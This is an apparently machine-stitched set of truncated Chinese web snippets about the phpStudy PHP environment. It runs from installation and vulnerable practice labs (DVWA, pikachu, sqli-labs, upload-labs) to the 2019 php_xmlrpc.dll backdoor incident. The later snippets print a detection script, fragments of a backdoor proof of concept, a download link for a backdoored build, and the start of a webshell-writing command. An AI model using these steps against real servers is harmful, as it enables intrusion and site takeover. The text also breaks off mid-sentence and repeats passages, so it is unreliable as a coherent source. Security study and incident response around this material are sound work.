---- 前言 自己最近也没有怎么弄过linux了 一些原因,自己买了一个Centos的腾讯云服务器 既然买了玩玩,就不要放着了 自己搭建一个php的集成环境 向所有认识的人学习 :) ---...- 参考说明 其实,比较简单 先百度下 phpstudy linux 安装 ?...---- 下载和安装 先wget下载 wget -c http://lamp.phpstudy.net/phpstudy.bin 再给对应的权限(自己服务器,暂时自己用,所以暂时744权限) chmod...744 phpstudy.bin (文档上是 chmod +x phpstudy.bin, 自己简单操作) 最后安装 ..../phpstudy.bin 但是你会发现有一行是否安装mysql提示 选不安装 这样只需要编译nginx+php5.4 【phpstudy还是蒲老师很早介绍的, 应该有快2年了,感谢:)】 ---
下载phpStudy 2016以及DVWA靶场 phpStudy 2016 官方下载地址: https://www.xp.cn/download.html 下载DVWA靶场 我目前就找到了一个下载地址...=gqj1 安装DVWA靶场: GitHub有一个中文详细安装说明:https://github.com/digininja/DVWA/blob/master/README.zh.md 打开 PhpStudy...2016 进入到 网站跟目录 中,将下载好的靶场压缩包放置到根目录中 并将文件名重命名为 DVWA 方便日后访问 到DVWA的目录下找到 config.inc.php.dist 文件将后缀去掉改成...config.inc.php 打开 config.inc.php 文件修改里面的内容 如实际情况修改数据连接信息等,PhpStudy数据库默认账号密码应该是 root $_DVWA[ ‘db_server...DVWA[ ‘db_password’ ] = ‘root’; // 数据库密码 图片 DVWA靶场默认登录账户为:admin DVWA靶场默认登录密码为:password 登录查看靶场是否可用 图片 搭建完毕
下载phpStudy 2016以及pikachu靶场 pikachu靶场GitHub下载地址: https://github.com/zhuifengshaonianhanlu/pikachu phpStudy...2016 官方下载地址: https://www.xp.cn/download.html 安装pikachu 将下载好的pikachu文件放到 phpStudy\WWW 目录下,并解压...pikachu-master文件夹重命名为 pikachu 进入 pikachu 目录中再进入 \inc 目录下修改 文件config.inc.php文件,修改填写MySQL数据库密码账号(默认没动过phpStudy...安装的mysql数据库默认密码账号 root)如下图操作 启动phpStudy(默认端口是 80)在浏览器访问页面,如果你是本地安装地址为:127.0.0.1/pikachu ,如果你是虚拟机安装就虚拟机
下载phpStudy 2016以及sqli-libs靶场 sqli-libs靶场GitHub下载地址: https://github.com/Audi-1/sqli-labs phpStudy 2016...download.html 下载安装sqli-libs靶场 下载 进入 https://github.com/Audi-1/sqli-labs中点击下载 安装Sqli-Libs靶场 打开 PhpStudy...2016 进入到 网站跟目录 中,将下载好的靶场压缩包放置到根目录中 将靶场压缩包解压到 网站跟目录 中,并更改解压文件夹名称为 sqlbc 方便打开靶场(更改其他名称也可以)具体操作看图:...进入 解压完成的靶场文件夹中 找出 sql-connections 文件夹并进入 修改 db-creds.inc 文件的内容,填上数据库账号密码等(PhpStudy默认数据库账号密码都是 root...) 启动或者重启 PhpStudy环境 启动phpStudy(默认端口是 80)在浏览器访问页面,如果你是本地安装地址为:127.0.0.1/靶场文件夹名称,如果你是虚拟机安装就虚拟机ip/
下载upload-labs靶场和phpStudy 2016 GitHub下载地址:https://github.com/c0ny1/upload-labs phpStudy 2016 官方下载地址...: https://www.xp.cn/download.html 安装upload-labs靶场 将下载好的upload-labs靶场解压到 phpStudy2016的www目录下,得到如下文件夹...: 将文件夹名称修改为:uploadbc 是为了方便访问(可以叫任意名称): 重启phpStudy 2016的服务,访问靶场: 不需要编译修改什么东西,直接将靶场文件夹放到 www目录重启服务即可访问...重启phpStudy 2016的服务,访问靶场:http://【靶场ip】/【靶场文件夹名】 如我访问: http://192.168.56.138/uploadbc
简介 PHP是目前网站开发使用最多的一种编程语言,轻量好用,本文详细记录搭建本地开发环境的完整过程。...PHPStudy安装 php中文网旗下的phpstudy,国内经典的php环境搭建工具,可以快速搭建php运行环境!非常简洁,不需要繁杂的配置环境。...安装好后重启就可以看到和下图一样的界面了; 到这里就大功告成啦,点击关于可以查看有效期; PhpStorm开发环境配置 打开设置 点击解释器列表 添加解释器 选择本地路径 在PHPstudy...安装目录里面找到D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe 点击确定,返回列表选择解释器后调整语言级别确定即可; 测试环境 新建项目
平时在开发项目的时候, 多个项目同时开发的时候会遇到都得放到根目录才能正常运行; 如果没有配置多站点就容易内容冲突 , 同时也不方便管理,在这里介绍下如果用 phpstudy 搭建多站点, 这样就可以解决不方便管理多个项目的问题了...,希望能帮助到您 方法/步骤 首先下载安装 phpstudy 环境 下载地址: http://www.phpstudy.net/ 启动 phpstudy 双击图标打开 找到其他选项 -->站点域名管理...如下图填写域名信息 下面的网站目录需要注意是在 phpstudy 环境的 WWW文件夹下创建站点文件夹 最后保存配置 (需要把前面的#号也去了) ?...接下来就是修改 host 文件才能正常访问到本地的网站 不然就是访问网络的网站哦 win7 host 文件地址: C:WindowsSystem32driversetc 如下图: ?
phpStudy于近日被暴露出有后门漏洞,之前的phpStudy2016,phpStudy2018部分版本,EXE程序包疑似被入侵者植入木马后门,导致许多网站及服务器被攻击,被篡改,目前我们SINE安全公司立即成立...phpStudy安全应急响应小组,针对部分客户服务器上安装该PHP一键环境搭建的情况,进行了全面的漏洞修复与安全防护。...国内大部分的服务器尤其windows系统,都有安装phpstudy一键环境搭建软件,该软件可以自动设置安装apache,php,mysql数据库,以及zend安装,并自动设置root账号密码,一键化操作...关于phpstudy漏洞的修复办法,从phpstudy官方网站下载最新的版本,将php_xmlrpc.dll进行替换到旧版本里即可,对PHP的Accept-Charset的参数传输做安全过滤与效验防止提交恶意参数...如果您对代码不是太了解的话,也可以找专业的网站安全公司来处理解决,国内SINESAFE,启明星辰,绿盟都是比较不错的,目前该漏洞影响范围较广,请各位网站运营者尽快修复漏洞,打好补丁,防止网站被攻击,被篡改
phpStudy是一款php+apche集成环境软件,学习做网站的朋友可以学习一下该教程,对于初学者来说,解析域名,域名绑定站点文件往往会难到很多人,接下来小编就说说我在phpstudy环境下做站点域名管理的经验...(下篇文章我会录制配置视频) 首先,小编在phpstudy根目录下新建了一个放项目的文件夹test test文件夹下面放入一个检查是否开通成功的index.html 文件, ?...打开phpstudy 按下图示操作,进入站点域名设置。 ? ? ? 完成下图数据的写入,并点击新增 ? 新增操作后,点击下图所示按键,完成生产配置文件 ?...第二步:重启phpstudy服务 ? 第三步:在浏览器中输入刚刚配置的域名,成功打开则说明配置成功! ? END 注意事项 注意:配置好后一定需要重新重启下phpstudy,不然会不生效。
很多时候我们仅仅为了测试一个项目或者临时搭建网站,用不着去 vps 服务器上添加,在本地搭建 php 环境就够了。...这样就需要一个能够在 windows 系统中搭建本地 php 环境的软件包,这类软件包蛮多的,目前用的比较多的比如phpstudy,今天魏艾斯博客来介绍用 phpstudy 搭建本地 php 环境及本地安装...一、phpstudy 下载安装。 老魏建议从官方网站下载,大小是 35M 左右,在市面常见本地 php 环境包中,不算大的。 ?...phpstudy 在搭建本地 php 环境方面是很方便的,几分钟就可以迅速搭建起一个成熟的本地 php 环境了。打开运行后 php 环境可以在非服务模式下运行,关闭程序后不占用系统服务资源。...用phpstudy 搭建网站是很方便的,比如搭建 wordpress 博客。
还记得当初会用PhpStudy的原因是在网上自学一些Web方向的课程时,那些课程中就是使用PhpStudy。在拿到样本后,我就对PhpStudy中的后门进行了一波逆向分析。.../php/php-5.2.17/ext/php_xmlrpc.dll matches 随后又在第三方网站上(https://www.php.cn/xiazai/gongju/89)上下载了phpstudy2016.../php/php-5.2.17/ext/php_xmlrpc.dll matches 查看发现第三方网站上是于2017-02-13更新的phpstudy2016。...对美国受影响的目标进行简单的探查发现基本都是属于IDC机房的机器,猜测都是国人在购买的vps上搭建的PhpStudy。...*.97.179.164 87 *.95.235.26 83 *.140.181.120 80 *.114.105.176 76 2019/09/25攻击总数45012,攻击IP数187,被攻击网站数
复现环境 phpstudy2016 +win10 复现过程 启动有漏洞的phpstudy pcat的检测脚本如下 python版本: # -*- coding:utf8 -*- __author__='...dirs: pcheck(os.path.join(path, name)) pass if __name__ == '__main__': foo() 放在phpstudy...5.4.45\ext\php_xmlrpc.dll === @eval(%s('%s')); %s;@eval(%s('%s')); [Finished in 10.2s] 可以发现 主要是这两个版本的phpstudy...Administrator" or "DefaultAccount" in r.text: # # print(r.text) # else: # print("不存在phpstudy...后门") # if len(sys.argv) < 2: # print("python phpstudy.py http://127.0.0.1") # else: # Poc(sys.argv
还记得当初会用PhpStudy的原因是在网上自学一些Web方向的课程时,那些课程中就是使用PhpStudy。在拿到样本后,我就对PhpStudy中的后门进行了一波逆向分析。 2..../php/php-5.2.17/ext/php_xmlrpc.dll matches 随后又在第三方网站上(https://www.php.cn/xiazai/gongju/89)上下载了phpstudy2016.../php/php-5.2.17/ext/php_xmlrpc.dll matches 查看发现第三方网站上是于2017-02-13更新的phpstudy2016。 3....对美国受影响的目标进行简单的探查发现基本都是属于IDC机房的机器,猜测都是国人在购买的vps上搭建的PhpStudy。 4....*.97.179.164 87 *.95.235.26 83 *.140.181.120 80 *.114.105.176 76 2019/09/25攻击总数45012,攻击IP数187,被攻击网站数
简单的记录一下搭建自己的博客需要做的事情! 确定主题 一个网站的主题很重要,要不然你会无从下手,所以千万不要像我这样开一个这么无聊的blog。...其实就是一个网站的艺名而已。人家的网站叫“234.156.78.90”,你的叫“ccav.com”,那么你说那个更容易出名呢?所以,好的域名可能让你的网站迅速火起来。...虚拟主机(网站空间) 光是有了像phpgao.com这样的域名是不够的,因为你需要把你的文章放到互联网上供大家访问,所以你需要一个专用服务器,当然自己搭建服务器也是可以的,但是如果是个规模不大的网站老高建议还是租用吧...想要搭建WP这类博客,你的空间还需要一个不是太小的MYSQL空间,也就是传说中的数据库。我的空间是200M+200M型,也就是说我的空间能放小于200M的MP3文件并且在数据库能够存放200M的数据。
安装网站控制面板集成环境 终端输入: yum install -y wget && wget -O install.sh https://download.xp.cn/install.sh && sh...install.sh 敲击回车,进入漫长的跑代码安装状态~~~ image.png 出现此信息,说明phpStudy Linux面板安装成功。
phpStudy于近日被暴露出有后门漏洞,之前的phpStudy2016,phpStudy2018部分版本,EXE程序包疑似被入侵者植入木马后门,导致许多网站及服务器被攻击,被篡改,目前我们SINE...安全公司立即成立phpStudy安全应急响应小组,针对部分客户服务器上安装该PHP一键环境搭建的情况,进行了全面的漏洞修复与安全防护。...国内大部分的服务器尤其windows系统,都有安装phpstudy一键环境搭建软件,该软件可以自动设置安装apache,php,mysql数据库,以及zend安装,并自动设置root账号密码,一键化操作...关于phpstudy漏洞的修复办法,从phpstudy官方网站下载最新的版本,将php_xmlrpc.dll进行替换到旧版本里即可,对PHP的Accept-Charset的参数传输做安全过滤与效验防止提交恶意参数...如果您对代码不是太了解的话,也可以找专业的网站安全公司来处理解决,国内SINESAFE,启明星辰,绿盟都是比较不错的,目前该漏洞影响范围较广,请各位网站运营者尽快修复漏洞,打好补丁,防止网站被攻击,被篡改
以下内容已按搭建网站的过程排序 方法一: 服务器 + 自我配置 购买服务器与域名: 具体购买请参照个人需求自行选择 可以前往腾讯云购买完成后根据相关指导进行备案 进行域名的备案与解析: 域名的备案可参考各服务平台的文件...配置个人网站: 如果想省事,也可以直接花money,借助wordpress / appnode直接一键式建站,则可自动跳过以下所有步骤,如果并不愿意采取这种方式,请您移目下方。...参考LNMP, LNMP指的是Linux系统下Nginx+MySQL+PHP这种网站服务器架构。...将解压好的文件通过scp -r 上传至网站的根目录。而后在浏览器上访问自己的网站,应该就可以开始typecho的配置啦!接着就一步一步跟着其指导往下做即可。...方法二:借助现有的平台,免费建站: 凡科建站等一键式建站,可在知乎中查找到许多类似的网站。
0x01:前言 近日,phpStudy被公告疑似遭遇黑客攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门,经网友确认phpStudy2016、phpStudy2018的部分版本有后门...0x02:预防 phpStudy启动时默认加载php-5.4.45版本的PHP,该版本存在后门,可以从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中的php_xmlrpc.dll
现在很多企业都开始跟上互联网的脚步,纷纷给自己的公司搭建企业网站,搭建网站并非大家想象中的那么困难,如果对前端代码一点都不懂的小伙伴,建议还是找第三方的建设公司帮忙搭建。...下面就简单给大家讲讲网站搭建公司哪家比较好。 网站搭建公司哪家比较好 关于网站搭建公司,在市面上有很多家,尤其是在线上,进行关键词搜索都能搜出无数个公司。...搭建网站的费用要多少 费用永远是大家关心的话题,而搭建网站的费用都是各有各的不同,主要还是看大家对网站有什么样的要求,如果对网站有功能性的要求,那报价的费用就会有些偏高,毕竟功能是需要开发的。...关于网站搭建的费用与介绍就分享到这里,希望能帮助到各大企业。...套用网站模板方法简单又快速,感兴趣的企业可以试试,感觉不好再找第三方公司进行搭建也不迟。
0x01 漏洞简介 2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll...影响版本: phpStudy2016-php-5.2.17 phpStudy2016-php-5.4.45 phpStudy2018-php-5.2.17 phpStudy2018-php-5.4.45...更多漏洞细节参考文章:PHPStudy后门事件分析 0x02 环境准备 本次漏洞复现的演示靶场为phpStudy 2018中的php-5.2.17+Apache环境 phpStudy 2018 后门版...:点击下载 提取码:nlnq 靶机环境搭建成功后,即可访问phpinfo页面 0x03 漏洞检测 phpStudy的后门问题代码存在于以下路径文件中 # phpStudy2016路径 php\php-...写入webShell 写shell的前提是知道网站的物理路径,可以自行通过system()命令获取到网站路径 # 写入命令: fputs(fopen('C:\phpStudy\PHPTutorial\WWW